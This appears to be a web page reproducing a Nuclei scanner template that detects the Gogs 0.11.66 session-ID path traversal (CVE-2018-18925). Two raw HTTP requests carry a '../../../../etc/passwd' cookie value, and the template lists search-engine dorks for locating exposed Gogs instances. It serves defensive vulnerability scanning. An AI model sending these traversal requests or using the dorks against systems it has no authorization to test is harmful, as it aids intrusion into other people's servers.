Gogs (Go Git Service) 0.11.66 - Remote Code Execution

ID: CVE-2018-18925

Severity: critical

Author: princechaddha

Tags: cve,cve2018,gogs,lfi,rce,vulhub

Description

Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ”..” session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.

YAML Source

id: CVE-2018-18925

info:
  name: Gogs (Go Git Service) 0.11.66 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: This issue will be fixed by updating to the latest version of Gogs.
  reference:
    - https://www.anquanke.com/post/id/163575
    - https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925
    - https://nvd.nist.gov/vuln/detail/cve-2018-18925
    - https://github.com/gogs/gogs/issues/5469
    - https://github.com/j4k0m/CVE-2018-18925
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-18925
    cwe-id: CWE-384
    epss-score: 0.09538
    epss-percentile: 0.94736
    cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: gogs
    product: gogs
    shodan-query:
      - cpe:"cpe:2.3:a:gogs:gogs"
      - http.title:"sign in - gogs"
    fofa-query: title="sign in - gogs"
    google-query: intitle:"sign in - gogs"
  tags: cve,cve2018,gogs,lfi,rce,vulhub

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "<meta name=\"author\" content=\"Gogs\" />")'
# digest: 4a0a0047304502203d26cf6a201f19bc324efbe0fb3d9198a48007dd135c2da30147d11705c2bad7022100cf40d822ae0c2d10764426ed1ae583031b4bd07fdb5ba7a49219da20f399a9cb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-18925.yaml"

View on Github